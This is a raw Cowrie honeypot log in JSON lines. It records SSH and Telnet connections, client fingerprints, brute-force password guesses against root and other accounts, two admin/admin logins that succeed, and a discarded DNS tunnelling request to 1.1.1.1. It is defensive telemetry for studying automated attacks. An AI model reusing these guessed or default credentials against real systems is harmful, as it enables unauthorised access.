{"eventid":"cowrie.session.closed","duration":33.75184893608093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:59.541452Z","src_ip":"142.93.2.99","session":"5bcadf8e5098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30831694602966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:03.239312Z","src_ip":"142.93.2.99","session":"0f43a5c44355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":58112,"dst_ip":"159.203.135.109","dst_port":22,"session":"db05d4df2640","protocol":"ssh","message":"New connection: 186.233.118.22:58112 (159.203.135.109:22) [session: db05d4df2640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:09.493984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:09.498785Z","src_ip":"186.233.118.22","session":"db05d4df2640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:09.618770Z","src_ip":"186.233.118.22","session":"db05d4df2640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcABC123","message":"login attempt [root/abcABC123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:10.127002Z","src_ip":"186.233.118.22","session":"db05d4df2640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:11.249501Z","src_ip":"186.233.118.22","session":"db05d4df2640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94699501991272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:18.824620Z","src_ip":"104.245.105.2","session":"e72b4f17803b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414687633514404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:26.264079Z","src_ip":"104.245.105.2","session":"01d0a333d7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54438,"dst_ip":"159.203.135.109","dst_port":23,"session":"d120a028506c","protocol":"telnet","message":"New connection: 142.93.2.99:54438 (159.203.135.109:23) [session: d120a028506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:28.553984Z"}
{"eventid":"cowrie.session.closed","duration":34.092063665390015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:33.077668Z","src_ip":"142.93.2.99","session":"d0fd9bd6b834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34342,"dst_ip":"159.203.135.109","dst_port":23,"session":"192601e589df","protocol":"telnet","message":"New connection: 142.93.2.99:34342 (159.203.135.109:23) [session: 192601e589df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:36.759079Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53132,"dst_ip":"10.17.0.5","dst_port":22,"session":"95c4fb74fe2b","protocol":"ssh","message":"New connection: 87.251.64.176:53132 (10.17.0.5:22) [session: 95c4fb74fe2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:37.605762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:37.610646Z","src_ip":"87.251.64.176","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:37.706709Z","src_ip":"87.251.64.176","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:38.003558Z","src_ip":"87.251.64.176","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:38.101447Z","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:38.199592Z","src_ip":"87.251.64.176","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:38.300658Z","src_ip":"87.251.64.176","session":"95c4fb74fe2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"005e56d7af81","protocol":"telnet","message":"New connection: 104.245.105.2:60966 (10.17.0.5:23) [session: 005e56d7af81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:41.520679Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40822,"dst_ip":"159.203.135.109","dst_port":23,"session":"50daf7219d53","protocol":"telnet","message":"New connection: 142.93.2.99:40822 (159.203.135.109:23) [session: 50daf7219d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:41.889636Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35290,"dst_ip":"10.17.0.5","dst_port":23,"session":"a117ef5f1a38","protocol":"telnet","message":"New connection: 104.245.105.2:35290 (10.17.0.5:23) [session: a117ef5f1a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:52.536049Z"}
{"eventid":"cowrie.session.closed","duration":5.585647344589233,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:27:58.121586Z","src_ip":"104.245.105.2","session":"a117ef5f1a38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52483916282654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:03.078686Z","src_ip":"142.93.2.99","session":"d120a028506c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52512,"dst_ip":"10.17.0.5","dst_port":23,"session":"3961b0ad324e","protocol":"telnet","message":"New connection: 104.245.105.2:52512 (10.17.0.5:23) [session: 3961b0ad324e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:06.876897Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":49194,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb5b93db8b64","protocol":"telnet","message":"New connection: 125.20.210.182:49194 (10.17.0.5:23) [session: cb5b93db8b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:08.286184Z"}
{"eventid":"cowrie.session.closed","duration":33.2306592464447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:09.989645Z","src_ip":"142.93.2.99","session":"192601e589df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab3b08673547","protocol":"ssh","message":"New connection: 186.233.118.22:56056 (159.203.135.109:22) [session: ab3b08673547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:12.706404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:12.710716Z","src_ip":"186.233.118.22","session":"ab3b08673547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:12.829855Z","src_ip":"186.233.118.22","session":"ab3b08673547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.39079236984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:12.911352Z","src_ip":"104.245.105.2","session":"005e56d7af81","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xo123456","message":"login attempt [root/Xo123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:13.338416Z","src_ip":"186.233.118.22","session":"ab3b08673547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:14.465729Z","src_ip":"186.233.118.22","session":"ab3b08673547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.892029762268066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:15.781554Z","src_ip":"142.93.2.99","session":"50daf7219d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"9150957a3557","protocol":"telnet","message":"New connection: 104.245.105.2:46910 (10.17.0.5:23) [session: 9150957a3557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:20.560431Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47212,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd8451d7738b","protocol":"telnet","message":"New connection: 142.93.2.99:47212 (159.203.135.109:23) [session: fd8451d7738b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:23.275149Z"}
{"eventid":"cowrie.session.closed","duration":31.01427125930786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:37.891041Z","src_ip":"104.245.105.2","session":"3961b0ad324e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58054,"dst_ip":"159.203.135.109","dst_port":23,"session":"815c0e98316b","protocol":"telnet","message":"New connection: 142.93.2.99:58054 (159.203.135.109:23) [session: 815c0e98316b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:38.909587Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59380,"dst_ip":"159.203.135.109","dst_port":23,"session":"53f121c8e837","protocol":"telnet","message":"New connection: 142.93.2.99:59380 (159.203.135.109:23) [session: 53f121c8e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:40.524869Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60736,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5f1e5ae7ae","protocol":"ssh","message":"New connection: 2.57.122.238:60736 (159.203.135.109:22) [session: 1b5f1e5ae7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:53.755702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:53.759587Z","src_ip":"2.57.122.238","session":"1b5f1e5ae7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:53.862958Z","src_ip":"2.57.122.238","session":"1b5f1e5ae7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:54.177225Z","src_ip":"2.57.122.238","session":"1b5f1e5ae7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21145582199097,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:54.771750Z","src_ip":"104.245.105.2","session":"9150957a3557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.817706823349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:55.092682Z","src_ip":"142.93.2.99","session":"fd8451d7738b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:55.283586Z","src_ip":"2.57.122.238","session":"1b5f1e5ae7ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45482,"dst_ip":"159.203.135.109","dst_port":23,"session":"c890e43be863","protocol":"telnet","message":"New connection: 142.93.2.99:45482 (159.203.135.109:23) [session: c890e43be863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:28:57.455715Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.132.161.111","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95d759a60f3","protocol":"telnet","message":"New connection: 220.132.161.111:55718 (159.203.135.109:23) [session: f95d759a60f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:05.911040Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:10.901532Z","src_ip":"125.20.210.182","session":"cb5b93db8b64","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:10.949111Z","src_ip":"125.20.210.182","session":"cb5b93db8b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.155104875564575,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:12.064550Z","src_ip":"142.93.2.99","session":"815c0e98316b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.030139446258545,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:12.554908Z","src_ip":"142.93.2.99","session":"53f121c8e837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":55362,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc263ccdc85","protocol":"ssh","message":"New connection: 186.233.118.22:55362 (159.203.135.109:22) [session: 6bc263ccdc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:12.898716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:12.903136Z","src_ip":"186.233.118.22","session":"6bc263ccdc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:13.022450Z","src_ip":"186.233.118.22","session":"6bc263ccdc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertz321","message":"login attempt [root/qwertz321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:13.531148Z","src_ip":"186.233.118.22","session":"6bc263ccdc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:29:14.652942Z","src_ip":"186.233.118.22","session":"6bc263ccdc85","protocol":"ssh"}
